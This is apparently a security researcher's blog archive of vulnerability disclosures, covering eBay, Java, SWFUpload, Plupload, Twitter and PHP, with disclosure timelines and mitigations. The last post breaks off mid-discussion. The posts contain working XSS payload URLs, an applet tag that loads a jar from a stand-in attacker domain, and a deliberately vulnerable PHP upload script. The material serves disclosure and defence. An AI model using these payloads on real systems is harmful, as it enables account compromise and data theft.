2013
03.14

Summary

In mid-2012 I discovered and reported a combination of CSRF and persistent XSS on my.ebay.com. This report was quickly acknowledged by eBay but the vulnerabilities have not been fixed almost a year after the initial disclosure. To mitigate the potential risk, I would recommend that users log out of their eBay accounts when browsing other websites.

Details

The my.ebay.com website has a section in the left sidebar called “Shortcuts.” These shortcuts, by default, are pre-defined links to sections of eBay. It is possible for a user to edit the list of shortcuts and to add their own, pointing to arbitrary URLs.

I reported two distinct but related vulnerabilities to eBay:

  1. It is possible to create a shortcut that will execute JavaScript when clicked on by writing a somewhat convoluted JavaScript URL: the example I used was javascript://%0D%0Aalert(document.domain);. A URL in this format allows me to evade eBay’s filters but still have JavaScript execute in the latest versions of Firefox, Chrome, and IE. A slightly more detailed explanation of how this URL works can be found at http://sla.ckers.org/forum/read.php?2,13209,page=1#msg-13248.
  2. The endpoints that eBay uses to add a shortcut and to remove existing shortcuts are vulnerable to a CSRF attack.

Taken together, these vulnerabilities allow me to create a shortcut on a logged-in eBay user’s account that, when clicked, executes JavaScript.

Because the vulnerabilities remain unpatched I will not be publishing the proof of concept code that I sent to eBay.

Disclosure Timeline

  • May 11th, 2012, 11:56 AM: Submitted details of vulnerability via “Security Researchers” form.
  • May 11th, 2012, 3:12 PM: Reply from eBay. Report acknowledged, details forwarded to engineering team.
  • May 23rd, 2012: Sent followup asking for any updates.
  • May 24th, 2012, 5:09 PM: Asked to provide more details (screenshot, more explicit steps to reproduce) to assist in reproducing the issue.
  • May 24th, 2012, 5:23 PM: Sent reply containing screenshot and more explicit steps to reproduce the issue.
  • June 9th, 2012: Sent followup asking for any updates.
  • June 11th, 2012: According to eBay’s responsible disclosure guidelines, this issue may be discussed publicly (“Allow us a reasonable amount of time (at least 30 days from when we receive your disclosure under this process to respond to the issue before disclosing it to others”).
  • June 12th, 2012: Reply received from eBay: “Not yet. We’ll let you know when this is resolved.”
  • February 8th, 2013: Sent followup asking for any updates. Advised eBay of plans to publish details of the vulnerability within a week.
  • February 11th, 2013, 4:19 PM: Received reply from eBay. Asked to adhere to their responsible disclosure guidelines and not to disclose the details of the issue until it has been fixed. Offered “to send [me] some eBay branded gifts and acknowledge [me] on [their] Security Researcher’s Acknowledgment page once this vulnerability is fixed”.
  • February 11th, 2013, 4:31 PM: Reply sent. Pointed out that responsible disclosure guidelines do not preclude me from talking about an issue that was reported 8+ months prior. Agreed to hold off discussing the issue until March 14th.
  • February 11th, 2013, 5:12 PM: Received acknowledgement of reply.
  • February 15th, 2013: Received “eBay branded gifts” in mail.
  • March 14th, 2013, 4:50 PM: Confirmed vulnerabilities remain unpatched. Published blog post. Contacted eBay to inform them about the post.
  • March 14th, 2013, 10:19 PM: Reply from eBay indicating vulnerability is patched. Confirmed that some vulnerable functionality (ability to define shortcuts with arbitrary URLs) has been removed.

Note: I have replaced a link in the Disclosure Timeline with a link to the Internet Archive’s version of the same page. eBay decided to silently change its responsible disclosure guidelines between February 11th and March 14th.

The original text of their “guidelines for responsible disclosure”:

  • Share the security issue with us before making it public on message boards, mailing lists, and other forums.
  • Allow us a reasonable amount of time (at least 30 days from when we receive your disclosure under this process to respond to the issue before disclosing it to others.
  • Provide full details of the security issue, including Proof-of-Concept URL and the details of the system where the tests were conducted.

The new text:

  • Share the security issue with us before making it public on message boards, mailing lists, and other forums.
  • We request that you wait until notified that the vulnerability has been resolved before disclosing it to others. We take the security of our customers very seriously, however some vulnerabilities take longer than others to resolve. There are several teams involved in working on these vulnerabilities depending on which site has the vulnerability and what function is being exploited.
  • Provide full details of the security issue, including Proof-of-Concept URL and the details of the system where the tests were conducted.

Because I disclosed this issue to eBay prior to the changes to the policy, I will be leaving this post public.

Note 2: I received the following email from eBay:

Hi Neal,

We thank you for your work and your dedication to keeping the eBay community secure. We prefer that security-related information is always kept confidential. The technical teams verified the fix is working in production. Please verify.

eBay Security Research

The functionality for creating a new shortcut to an arbitrary URL appears to have been entirely removed from the site. That means there is no way to introduce a persistent XSS payload to the site. The rest of the vulnerability (the CSRF which controls which shortcuts are displayed) still functions, but is no more than a minor annoyance.

The disclosure timeline has been updated to reflect these developments.

2013
01.20

Summary

Over a year ago I identified a signed Java applet which could be used to download and execute arbitrary applications onto a user’s machine. I reported this applet to Oracle and to the vendor. Although the vendor has worked to provide an updated, secure version of the applet to its clients, Oracle has taken no action to disable the insecure version of the applet.

Given the current discussions on the state of Java security, I felt it appropriate to highlight a feature of Java which isn’t used very much and which many people don’t know about: the JAR blacklist. This feature could be used more effectively to address situations where signed Java applets can be abused.

How does the JAR blacklist work?

Oracle describes the blacklist as follows:

A blacklist is a list of signed jars that contain serious security vulnerabilities that can be exploited by untrusted applets or applications. A system-wide blacklist will be distributed with each JRE release. Java Plugin and Web Start will consult this blacklist and refuse to load any class or resource contained in a jar file that’s on the blacklist.

There are two blacklists that are used: a system-wide blacklist that is distributed with Java (deployment.system.security.blacklist) and a user-determined blacklist (deployment.user.security.blacklist). On my laptop they were in C:\Program Files\Java\jre7\lib\security\blacklist and C:\Users\USERNAME\AppData\LocalLow\Sun\Java\Deployment\security\blacklist,
 respectively.

The blacklists are simply hashes of the signed JARs: when a JAR is downloaded, the JRE refuses to run it if its signature matches the blacklist.

As Oracle’s description of the JAR blacklist mentions, the system-wide blacklist is distributed with each release of the JRE. That means in order to blacklist a new applet, a new version of the JRE needs to be released.

Oracle does not appear to proactively add entries to the blacklist. Instead, vendors can reach out to Oracle by emailing secalert_us@oracle.com to ask that their applet be blacklisted. Below is an email that was sent to me and the vendor by an employee of Oracle regarding their blacklisting policy:

Java SE includes a mechanism for blacklisting jars. See “Blacklist Jar Feature” at:

http://www.oracle.com/technetwork/java/javase/6u14-137039.html

We can evaluate including blacklist entries for your signed applet and will need the following information:

* Company name and address
* Company web page address (URL)
* Contact for company

1. Are you the publisher of the vulnerable jars?
2. How many jars are affected (this should include all versions that have been released)?
3. What is the link to the advisory for the vulnerability?

What applets are currently blacklisted?

I extracted the latest blacklist from my installation of Java (found in C:\Program Files\Java\jre7\lib\security\blacklist):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# JNLPAppletLauncher applet-launcher.jar  
SHA1-Digest-Manifest: 5Bo5/eg892hQ9mgbUW56iDmsp1k=

# 7066583  
SHA1-Digest-Manifest: x17xGEFzBRXY2pLtXiIbp8J7U9M=  
SHA1-Digest-Manifest: ya6YNTzMCFYUO4lwhmz9OWhhIz8=  
SHA1-Digest-Manifest: YwuPyF/KMcxcQhgxilzNybFM2+8=

# 7066809  
SHA1-Digest-Manifest: dBKbNW1PZSjJ0lGcCeewcCrYx5g=  
SHA1-Digest-Manifest: lTYCkD1wm5uDcp2G2PNPcADG/ds=  
SHA1-Digest-Manifest: GKwQJtblDEuSVf3LdC1ojpUJRGg=

7066583 corresponds to a vulnerability in the Cisco AnyConnect Mobility Client, while 7066809 corresponds to a vulnerability in the Microsoft UAG Client applet. That’s a total of 7 JARs over 3 distinct products.

To blacklist the applet that I discovered, you can add the following line to your user blacklist file:

SHA1-Digest-Manifest: juvzxh6HWxwJuK/Vz267YFzTgqw=

Note that there may be other, older versions of the applet that I am not aware of.

How does the blacklist feature compare to other systems?

  • The system-wide blacklist is tied to a JRE release
    This is in contrast to the blacklists used by Google Chrome and Firefox to block malicious extensions: such lists can be updated dynamically and are not tied to a software release.
  • The blacklist has a total of 7 entries
    To compare, Google Chrome’s blacklist has 450 extensions listed on it, while Firefox has blocked numerous add-ons over the years.
  • Vendors are the only ones who can submit entries to be blacklisted
    I’m not aware of other blacklists where this is a requirement. Most other systems will take into account user reports and perform their own evaluations.

Vulnerability Details / Disclosure Timeline

The vulnerable signed JAR itself is not very interesting: it’s designed to download and run an executable specified by a properties file, which is in turn hosted on a server. At no point is there any validation of the properties file or executable; as such, it’s trivial to take the JAR and point it at an attacker-controlled properties file, which in turn points to an attacker-controlled executable. It’s a textbook example of a bad signed JAR and is fairly trivial to exploit.

The vendor has since released a version of their JAR which requires a valid signature for any executable that is downloaded. However, because the old applet is still available on the Internet and has not been blacklisted, it is potentially valuable for attackers. For that reason I have chosen not to release the vendor’s name.

Below is a timeline of all communications between me, the vendor, and Oracle. Unless otherwise stated, emails sent to the vendor were also CC’ed to Oracle.

  • December 13th, 2011: Email sent to secalert_us@oracle.com informing them of the insecure applet and providing them with a proof of concept.
  • December 14th, 2011, 4:09 PM: Reply from Oracle, asking for additional steps to reproduce.
  • December 14th, 2011, 5:10 PM: Email sent to Oracle, additional steps provided.
  • December 14th, 2011, 8:07 PM: Reply from Oracle, asking for clarification.
  • December 14th, 2011, 11:06 PM: Email sent to Oracle, attempting to clarify.
  • December 15th, 2011, 4:54 PM: Reply from Oracle, opening case and providing tracking number.
  • December 21st, 2011: Reply from Oracle, confirming vulnerability. “We have confirmed the vulnerability in the signed applet from [Vendor]. As the vulnerability is in signed applet, we recommend that you report it to [Vendor] if you had not already done so. Oracle Java SE has a blacklisting feature and [Vendor] may request for their applet to be blacklisted.”
  • December 21st, 2011: Email sent to Oracle, asking for clarification on blacklisting policy.
  • December 23rd, 2011: Reply from Oracle, reiterating previous email. Suggestion to contact vendor and CC them.
  • December 23rd, 2011 7:08 PM: Email sent to vendor with Oracle CC’ed, explaining vulnerability.
  • December 23rd, 2011 7:16 PM: Reply from vendor, acknowledging report and forwarding to engineers.
  • January 20th, 2012: Email sent to vendor, asking for status update
  • January 22nd, 2012: Vendor replies, acknowledges vulnerability, describes additional protections being taken for the future
  • January 22nd, 2012: Email sent to vendor, acknowledging their email and thanking them for their diligence to resolve the issue
  • February 15th, 2012: Oracle sends email to vendor, explaining blacklisting procedure.
  • February 15th, 2012: Vendor replies, forwarding details to engineering team.
  • April 9th, 2012: Email sent to vendor, asking for status update
  • April 10th, 2012: Reply from vendor. Vulnerability has been addressed in current release. In process of deployment to customers.
  • September 1st, 2012: Email sent to vendor, asking for status update
  • September 10th, 2012: Reply from vendor. Deployment to customers ongoing.
  • September 10th, 2012: Email sent to vendor, asking about blacklisting status.
  • September 11th, 2012: Reply from vendor. Will contact me when deployments are closer to completion.
  • September 12th, 2012: Reply from Oracle, reiterating the blacklisting procedure.
  • September 12th, 2012: Reply from vendor, acknowledging Oracle’s email.
  • January 16th, 2013: Email sent to vendor and Oracle, alerting them of plans to publish this blog post on January 23rd
  • January 18th, 2013: Reply from oracle, acknowledging email and reiterating blacklisting procedure.
2012
05.17

Summary

Nathan Partlan and I discovered and reported vulnerabilities in two common Flash applets, SWFUpload and Plupload. SWFUpload’s developers have not released a fix for the XSS issue identified. Plupload’s developers have released v1.5.4 to address the identified CSRF issue.

Both of these applets are present in Wordpress installations. These vulnerabilities were addressed as part of Wordpress 3.3.2.

Vulnerability #1: XSS in SWFUpload (CVE-2012-3414)

The latest version of SWFUpload (ActionScript code available here) contains the following code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// Get the movie name
this.movieName = root.loaderInfo.parameters.movieName;

// **Configure the callbacks**
// The JavaScript tracks all the instances of SWFUpload on a page.  We can access the instance
// associated with this SWF file using the movieName.  Each callback is accessible by making
// a call directly to it on our instance.  There is no error handling for undefined callback functions.
// A developer would have to deliberately remove the default functions,set the variable to null, or remove
// it from the init function.
this.flashReady_Callback         = "SWFUpload.instances[\"" + this.movieName + "\"].flashReady";
this.fileDialogStart_Callback    = "SWFUpload.instances[\"" + this.movieName + "\"].fileDialogStart";
this.fileQueued_Callback         = "SWFUpload.instances[\"" + this.movieName + "\"].fileQueued";
this.fileQueueError_Callback     = "SWFUpload.instances[\"" + this.movieName + "\"].fileQueueError";
this.fileDialogComplete_Callback = "SWFUpload.instances[\"" + this.movieName + "\"].fileDialogComplete";

this.uploadStart_Callback        = "SWFUpload.instances[\"" + this.movieName + "\"].uploadStart";
this.uploadProgress_Callback     = "SWFUpload.instances[\"" + this.movieName + "\"].uploadProgress";
this.uploadError_Callback        = "SWFUpload.instances[\"" + this.movieName + "\"].uploadError";
this.uploadSuccess_Callback      = "SWFUpload.instances[\"" + this.movieName + "\"].uploadSuccess";

this.uploadComplete_Callback     = "SWFUpload.instances[\"" + this.movieName + "\"].uploadComplete";

this.debug_Callback              = "SWFUpload.instances[\"" + this.movieName + "\"].debug";

this.testExternalInterface_Callback = "SWFUpload.instances[\"" + this.movieName + "\"].testExternalInterface";
this.cleanUp_Callback            = "SWFUpload.instances[\"" + this.movieName + "\"].cleanUp";
this.buttonAction_Callback       = "SWFUpload.instances[\"" + this.movieName + "\"].buttonAction";

Each of those callbacks is used as the first parameter to ExternalInterface.call, which executes JavaScript in the context of the current page. Since movieName is derived from user input (a Flash parameter) and a Flash applet can be loaded directly (with parameters in the URL), the Flash applet allows for reflected cross-site scripting. For sites where the applet is hosted on the same domain as the main website, this is a serious security concern.

At this point, I’m not aware of a patched version of the applet source (let me know in the comments if there is one!). My suggestion would be to filter the movieName parameter so that only alpha-numeric characters are allowed.

Proof of Concept: http://demo.swfupload.org/v220/swfupload/swfupload.swf?movieName=%22%5d%29;}catch%28e%29{}if%28!self.a%29self.a=!alert%281%29;//

Vulnerability #2: CSRF in Plupload (CVE-2012-3415)

The Plupload applet called Security.allowDomain('*') to allow the applet to be used from any domain (so it could be served from S3, for instance). That meant people could interact with the Plupload applet from any other site on the Internet by embedding it on a page and using JavaScript. But due to the way the same-origin policy works in Flash, the applet could still make requests back to the domain on which it was hosted. In addition, people can specify the full URL for an upload request via JavaScript and the result of that request (ie: the HTML of the resulting page) is passed back via JavaScript to the embedding page.

So, if an attacker could convince a target to interact with the applet (by selecting a single file to be uploaded), the attacker could make a request to the domain that the applet was hosted on and read back the full response. That could disclose CSRF tokens or other sensitive information. This issue was especially important for Wordpress installations, where Plupload applets are hosted inside of the wp-includes directory by default.

The issue was resolved by removing the call to Security.allowDomain('*') by default.

Conclusion

Third-party Flash applets are vulnerable to many of the same sorts of attacks as other parts of web applications. However, they are often included in sites without a proper understanding of the security risks.

Update (08/01/2012): I’ve updated the post to include the CVE identifiers assigned to these vulnerabilities.

2012
04.13

Summary

I recently reported two separate and distinct security vulnerabilities to Twitter: one involving the Twitter API and one involving Twitter’s translation site, http://translate.twttr.com. As a result of one (or both) of these reports, I was added to Twitter’s White Hat page.

Issue #1: CSRF / Logic Error in OAuth Token Revocation

  1. I noticed that the endpoint for revoking an OAuth app’s authorization (https://twitter.com/oauth/revoke?token=token=SOME-VALUE) could be accessed successfully via a GET and without any sort of CSRF token. Note that the same endpoint is used for revoking and for “undoing” a revocation: the action taken depends on the state of the token.

    That meant an attacker could trick a user into revoking and/or reauthorizing an application that the user had previously accepted. However, the attacker would have to discover the token value: it wasn’t clear to me if that value was disclosed to a client application or not.

  2. I noticed that once an authorization had been revoked, the revocation could be undone for a fairly long period of time (at least a day). That behavior was not obvious from the Twitter UI.

Taken together, those vulnerabilities allowed a malicious application (which knew the token value) to prevent itself from being deauthorized; if it detected that a user had revoked its access, it could have used the CSRF attack to reauthorize itself. The CSRF vulnerability now appears to have been patched.

Issue #2: Reflected XSS on http://translate.twttr.com

(Note: I didn’t take notes on this vulnerability, so my recollection is slightly hazy)

The forum on the translation site (http://translate.twttr.com/cms/forum/) allows users to post a limited subset of HTML. It used a widget (I believe it was a version of TinyMCE) to allow for easy formatting of posts. Unfortunately, this widget would render some HTML tags containing malicious content (ie: <iframe> tags with an src of javascript:alert(1)). The widget appears to have been removed.

2012
03.31

Summary

Lately, there have been a few discussions on Hacker News about Cross-Site Request Forgery (CSRF).[1], [2] In those discussions, I noticed that several commenters (and blog post authors) were advocating for the use of X-Frame-Options as a mitigation technique.[3], [4], [5], [6] Unfortunately, while X-Frame-Options is meant to mitigate a similar type of attack (clickjacking), it provides no protection whatsoever against CSRF. This blog post is intended to provide some background resources on CSRF and clickjacking, as well as explain how X-Frame-Options fits in as a mitigation technique.

So what is CSRF?

See OWASP, Freedom to Tinker, and Chris Shiflett’s site for some solid explanations of CSRF.

In summary, a CSRF vulnerability is when a third-party website (evil-attacker.com) can convince your browser to make a request to a site where you’re already logged in (good-site.com) and that site accepts the request as if you had initiated it yourself.

So what is clickjacking?

See OWASP and SecTheory.com for some good explanations of the issues at hand.

In summary, a clickjacking vulnerabilities involves an attacker convincing you to initiate a request to a site (good-site.com) by interacting with UI elements on that site when you think you’re actually interacting with another site (say, evil-attacker.com).

Wait, those sound pretty similar

Yes, they do. But there is a very important distinction between them: a clickjacking attack requires the victim to interact with UI elements on a targeted website, whereas CSRF does not inherently require interaction on the victim’s part.

So how does X-Frame-Options fit in?

X-Frame-Options is a mitigation technique for clickjacking attacks. It is an HTTP response header sent by the server to indicate under what circumstances page contents should be displayed in a frame context. A browser that understands the header will not display the contents of a page if the header directive is violated (for instance, if evil-example.com puts good-site.com in an iframe but good-site.com sends a header that says X-Frame-Options: DENY. Thus, no clickjacking can occur because no UI elements can be displayed to a victim.

It provides no protection against CSRF. Why? Because CSRF isn’t concerned with the display of a page. In a CSRF attack, the attacker doesn’t care about the response at all: the request is the only important thing. Thus, X-Frame-Options can provide no protection and no mitigation for CSRF.

2011
10.18

Summary

Java 1.7 and Java 1.6 Update 27 and below do not properly enforce the same-origin policy for applets which are loaded via URLs that redirect. A malicious user can take advantage of this flaw to attack websites which redirect to third party content. This issue was patched in both Java 7 and Java 6 as part of the October 2011 Critical Patch Update. This issue has been assigned CVE-2011-3546.

What is the same-origin policy

From Wikipedia:

In computing, the same origin policy is an important security concept for a number of browser-side programming languages, such as JavaScript. The policy permits scripts running on pages originating from the same site to access each other’s methods and properties with no specific restrictions, but prevents access to most methods and properties across pages on different sites.

The origin for a Java applet is the hostname of the website where the applet is served from. So, for example, if I upload an applet to http://example.com/applet.jar, that applet’s origin is example.com. We care about the origin for security reasons: the same-origin policy ensures that an applet is only allowed to make HTTP requests back to the domain from which it originates (or to another domain which resolves to the same IP address, but we can ignore that behavior here).

So, where’s the security vulnerability?

Under certain conditions, the JRE did not correctly determine the origin of an applet. Specifically, when loading an applet via a URL that performed an HTTP redirect, the Java plugin used the original source of the redirect, not the final destination, as the applet’s origin.

If you’re confused, an example might help to illustrate things. Lets first start by imagining a website, example.com, that contains an open redirect. In other words, imagine that browsing to http://example.com/redirect.php?url=http://www.google.com redirects the user to http://www.google.com using a 301 or 302 redirect. Now, lets consider an attacker who controls the domain evildomain.com. This is what the attacker does:

  1. Writes a malicious Java applet that accesses http://example.com
  2. Uploads that applet to http://evildomain.com/evil.jar
  3. Constructs a redirect from http://example.com to the malicious applet (http://example.com/redirect.php?url=http://evildomain.com/evil.jar)
  4. Creates a malicious page anywhere on the Internet containing the following HTML:

    1
    2
    3
    4
    5
    <applet
    code="CSRFApplet.class"
    archive="http://example.com/redirect.php?url=http://evildomain.com/evil.jar"  
    width="300"
    height="300"></applet>
    

So what happens when a user visits that page? Well, lets first think about what we would want to happen:

  1. The user loads the page
  2. The user’s browser fetches the Java applet.
  3. The Java applet executes.
  4. The Java applets tries to access http://example.com but fails because the applet was served up by http://evildomain.com, violating the same-origin policy.

Now, here’s what actually happened:

  1. The user loads the page
  2. The user’s browser fetches the Java applet.
  3. The Java applet executes.
  4. The Java applets tries to access http://example.com AND SUCCEEDS !!!

That behavior is dangerous for websites that redirect to third party content: since HTTP requests made via Java applets inherit a user’s cookies from the browser (minus those marked as HttpOnly), an attacker who exploits this vulnerability is able to steal sensitive information or perform a CSRF attack against a targeted website. Any users who have not upgraded to the latest version of Java are vulnerable to attack.

How to protect your website

Java applets are client-side technology, but this vulnerability has a very real impact on website owners. Aside from waiting for your users to upgrade to the latest version of Java, here are some steps you can take to protect your site:

1. Block requests containing Java’s user-agent from accessing your redirects

This solution is fairly simple. By denying requests made by Java applets to redirect scripts on your site, you can prevent a malicious applet from being loaded. The UAs you’ll want to block contain the string “Java/” (without the quotation marks).
[Note: Blocking that string may be overly broad: I haven’t researched whether other software claims to be Java. I’ll update this post if I’m made aware of any conflicts.]

2. Use HttpOnly cookies

Java is not able to read or make requests with cookies that are marked HttpOnly. As a result, this attack can not be used to access or make requests to the authenticated portion of any site that uses HttpOnly cookies.

3. Don’t redirect to third party content

Open redirects are considered to be problematic for a number of reasons (including their use in phishing attacks). If at all possible, you should avoid them entirely, or heavily restrict the locations that they can redirect to.

Disclosure Timeline

  • December 28th, 2010: Vulnerability discovered
  • January 10th, 2011: Built two proofs of concept involving major websites (will not be disclosed publicly)
  • January 11th, 2011: Email sent to vendor. Disclosed full details of vulnerability, including proofs of concept
  • January 12th, 2011: Vendor acknowledges receipt of email
  • January 25th, 2011: Followup email sent to vendor, inquiring about status
  • January 26th, 2011: Vendor replies: issue is still being investigated
  • February 15th, 2011: [A Java SE Critical Patch Update is released][]
  • March 15th, 2011: Followup email sent to vendor, inquiring about status
  • March 18th, 2011: Vendor replies: issue is still being investigated
  • March 24th, 2011, 5:44 AM: Vendor sends automated status report email that fails to mention this vulnerability
  • March 24th, 2011, 8:04 AM: Followup email sent to vendor, inquiring about status
  • March 24th, 2011, 4:44 PM: Vendor acknowledges vulnerability, plans to address in a future update
  • April 25th, 2011: Vendor sends automated status report email that fails to mention this vulnerability
  • May 23rd, 2011, 9:44 AM: Followup email sent to vendor inquiring about the status of a fix
  • May 23rd, 2011, 2:24 PM: Vendor replies: plans to address vulnerability in October 2011 Java Critical Patch Update
  • May 24th, 2011: Vendor sends automated status report email that fails to mention this vulnerability
  • June 7th, 2011: A Java SE Critical Patch Update is released
  • June 23rd, 2011: Vendor sends automated status report email that fails to mention this vulnerability
  • July 22nd, 2011, 5:24 AM: Vendor sends automated status report email that fails to mention this vulnerability
  • July 22nd, 2011, 8:04 AM: Followup email sent to vendor, inquiring about status
  • July 22nd, 2011, 1:33 PM: Vendor replies, apologizes for not including vulnerability in status report. Reiterates that a fix for the vulnerability is targeted for the October 2011 Java Critical Patch Update
  • July 28th, 2011: Java 7 is released. Testing reveals the vulnerability has not been patched. Email with vendor confirms.
  • August 23rd, 2011: Vendor sends automated status report email. Vulnerability is now included and is marked “Issue fixed in main codeline, scheduled for a future CPU
  • September 23rd, 2011: Vendor sends automated status report email. Vulnerability is marked “Issue fixed in main codeline, scheduled for a future CPU
  • October 14th, 2011: Vendor sends out email confirming that vulnerability will be patched in CPU to be released on October 18th.
  • October 18th, 2011: Java 6 Update 29 and Java 7 Update 1 are released, patching the vulnerability.

Anything else?

It appears Firefox was vulnerable to a similar attack back in 2007:

The blogger at beford.org noted that redirects confused Mozilla browsers about the true source of the jar: content: the content was wrongly considered to originate with the redirecting site rather than the actual source. This meant that an XSS attack could be mounted against any site with an open redirect even if it didn’t allow uploads. A published proof-of-concept demonstrates stealing the GMail contact list of users logged-in to GMail.

It also appears that people have been aware of similar attacks against Java for a while now. I stumbled across a post on http://sla.ckers.org/ that mentioned using redirects to JARs as a way to steal cookies. I believe the “fix” referred to in the post (which only covers cookie stealing) was made in response to this vulnerability from 2010.

If you have any questions about the vulnerability, please feel free to leave them in the comments!

2011
10.18

Summary

The Java Deployment Toolkit Plugin v6.0.240.7 and below for Firefox and Google Chrome can be used to download and run an improperly signed executable on a target’s system. UAC, if enabled, will prompt the user before running the executable. This vulnerability has been tested and confirmed to exist on Windows 7, both 32-bit and 64-bit. It was fixed in Java 7 and Java 6 Update 29. This issue has been assigned CVE-2011-3516.

What is the Java Deployment Toolkit?

The Java Deployment Toolkit Plugin is designed to simplify the lives of developers who work with Java applets and Java Web Start applications. It provides a JavaScript interface in the browser that developers can use to perform tasks like check JRE versions and launch Java applications. It was released as a part of Java 6 Update 10 and exists in Internet Explorer, Firefox, and Google Chrome. Since being released, it has been the source of several serious security vulnerabilities. [1] [2] [3]

How does the vulnerability work?

If a browser has the Deployment Toolkit plugin installed, a webpage can use JavaScript to silently trigger the installation of a Java update by calling the installLatestJRE() function on an instance of the Deployment Toolkit NPAPI plugin. When that function is called, the plugin makes a request to java.sun.com over HTTP to fetch the installer for the latest version of Java.

In Internet Explorer, the plugin appeared to validate the signature on the installer after the file was downloaded. If it encountered an unexpected or missing signature, it did not execute the file and alerted the user. However, no such check occurred in Firefox or Chrome. As a result, a malicious attacker on a user’s network would be able to trigger the download and execution of an arbitrary file. In my testing, redirecting the traffic for java.sun.com and serving up an executable at http://java.sun.com/webapps/download/AutoDL was all that was necessary. Accordingly, this vulnerability can easily be used with a tool like EvilGrade.

If UAC is enabled on the targeted machine, the user is prompted before executing the file. However, the file is saved in the %TEMP% directory as JREInstallYYY_XX.exe, where YY is the major version (ie: 160, 170) XX is the update number of the latest release. As a result, it may be possible to trick the user into believing that a malicious executable is actually a legitimate update.

Note that in Google Chrome a user is prompted with an infobar before the Java plugin is allowed to execute. The user would have to select the option to “Always run on this site” in order for the payload to be downloaded.

Disclosure Timeline

  • Mid-February, 2011: Vulnerability discovered. Set up a test server (a server that hosts a binary in the proper location for download)
  • February 24th, 2011: Email sent to vendor. Disclosed details of vulnerability, including IP of test server and steps to reproduce.
  • February 24th, 2011: Bug 636633 filed with Mozilla
  • February 25th, 2011: Vendor acknowledges receipt of email
  • March 8th, 2011 12:24 AM: Vendor replies, could not reproduce the issue
  • March 8th, 2011 1:35 AM: Email sent to vendor: suggested disabling UAC
  • March 8th, 2011 10:20 AM: Email sent to vendor: other troubleshooting steps
  • March 14th, 2011 10:04 PM: Vendor replies, could not reproduce the issue after extensive testing
  • March 14th, 2011 11:11 PM: Email sent to vendor: updated binary on test server to yield better results
  • March 15th, 2011 8:44 AM: Vendor replies, confirms issue on Windows 7, requests that test server remain operational
  • March 15th, 2011 10:11 AM: Email sent to vendor: acknowledging request to keep test server running
  • March 20th, 2011 12:06 PM: Email sent to vendor: new IP for test server
  • March 20th, 2011 9:09 PM: Vendor replies, acknowledging new IP
  • March 24th, 2011: Vendor sends automated status report email. Vulnerability is “Under investigation / Being fixed in main codeline”
  • April 25th, 2011: Vendor sends automated status report email. Vulnerability is “Under investigation / Being fixed in main codeline”
  • May 23rd, 2011, 9:44 AM: Followup email sent to vendor inquiring about the status of a fix
  • May 23rd, 2011, 2:24 PM: Vendor replies: plans to address vulnerability in October 2011 Java SE Critical Patch Update
  • May 24th, 2011: Vendor sends automated status report email. Vulnerability is “Under investigation / Being fixed in main codeline”
  • June 7th, 2011: A Java SE Critical Patch Update is released
  • June 17th, 2011: Updated Bug 636633 with the most recent information.
  • June 17th, 2011: Verified that the issue also exists in the plugin used in Chrome. Filed Issue 86526. Sent email to vendor.
  • June 20th, 2011: Vendor replies, says that fix will also address issue in Chrome
  • June 23rd, 2011: Vendor sends automated status report email. Vulnerability is “Under investigation / Being fixed in main codeline”
  • July 22nd, 2011: Vendor sends automated status report email. Vulnerability is “Under investigation / Being fixed in main codeline”
  • July 28th, 2011: Java 7 is released. Testing reveals the vulnerability has been silently patched. Email with vendor confirms.
  • August 23rd, 2011: Vendor sends automated status report email. Vulnerability is now marked “Issue fixed in main codeline, scheduled for a future CPU
  • September 23rd, 2011: Vendor sends automated status report email. Vulnerability is marked “Issue fixed in main codeline, scheduled for a future CPU
  • October 14th, 2011: Vendor sends out email confirming that vulnerability will be patched in CPU to be released on October 18th.
  • October 14th, 2011: Vendor releases Java 6 Update 29, which patches the vulnerability.

Wrapup

I want to thank Oracle Security Alerts for working with me to verify and patch this vulnerability.

2011
10.03

Summary

Scripts using PHP 5.3 that accept multiple file uploads in a single request are potentially vulnerable to a directory traversal attack. Information about the mechanism for attack (corrupting array indices in $_FILES) has been publicly available since at least March 2011 June 2009. [1] [2] [3] [4] I submitted Sec Bug #55500 to point out the potential for directory traversal on August 24th, 2011.

[Note: I’ve been informed that a similar attack using the same vector was mentioned in the PHP Bug Tracker in September 2009. [5]]

[Update: As of January 1st 2012, a fix for this issue has been committed for PHP 5.4 and trunk in SVN r321664]

How does it work

The NYU Poly ISIS Lab blog has a wonderful, detailed writeup discussing how it’s possible to cause PHP to mangle indices in the $_FILES array. In short, multi-part POST requests containing variables with extra opening square brackets will cause PHP to build a malformed $_FILES array.

All of the previous writeups on this topic have focused on attacks where the target script is using copy instead of move_uploaded_file to handle uploads. While that assumption does allow for some interesting exploitation, it’s a less realistic scenario. I decided to focus exclusively on the implications of an attack if a target uses the move_uploaded_file function.

Consider the following script, based on code from the PHP documentation: [6] [7]

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

print_r($_FILES);

if (!empty($_FILES['pictures']))
{
    // Modified slightly from http://php.net/manual/en/function.move-uploaded-file.php
    $uploads_dir = '.';
    foreach ($_FILES["pictures"]["error"] as $key => $error) {
        if ($error == UPLOAD_ERR_OK) {
            $tmp_name = $_FILES["pictures"]["tmp_name"][$key];
            $name = $_FILES["pictures"]["name"][$key];
            echo "move_uploaded_file($tmp_name, \"$uploads_dir/$name\");";
        }
    }
}
?>
<form action="" method="POST" enctype="multipart/form-data" >
<input type="hidden" name="MAX_FILE_SIZE" value="10000000">
<input type="file" name="pictures[[type]">
<input type="file" name="pictures[[name]">
<input type="file" name="pictures[name][">
<input type="submit" value="submit">
</form>

If you play around with sending requests to this script, you’ll see that it wants to move the contents of the file uploaded as pictures[[type] into a location specified by pictures[name][‘s Content-Type. Since an uploaded file’s Content-Type is not sanitized by PHP, any attacker can send a request with any value, allowing for directory traversal.

But you shouldn’t accept an unsanitized filename from users! The bug is in the script, not the language!

Yes. And no.

Yes, leaving file uploads completely unsanitized is a bad idea. The code sample I posted above is vulnerable to a number of different attacks in its current state, the most glaring of which is that an attacker can upload arbitrary PHP files.

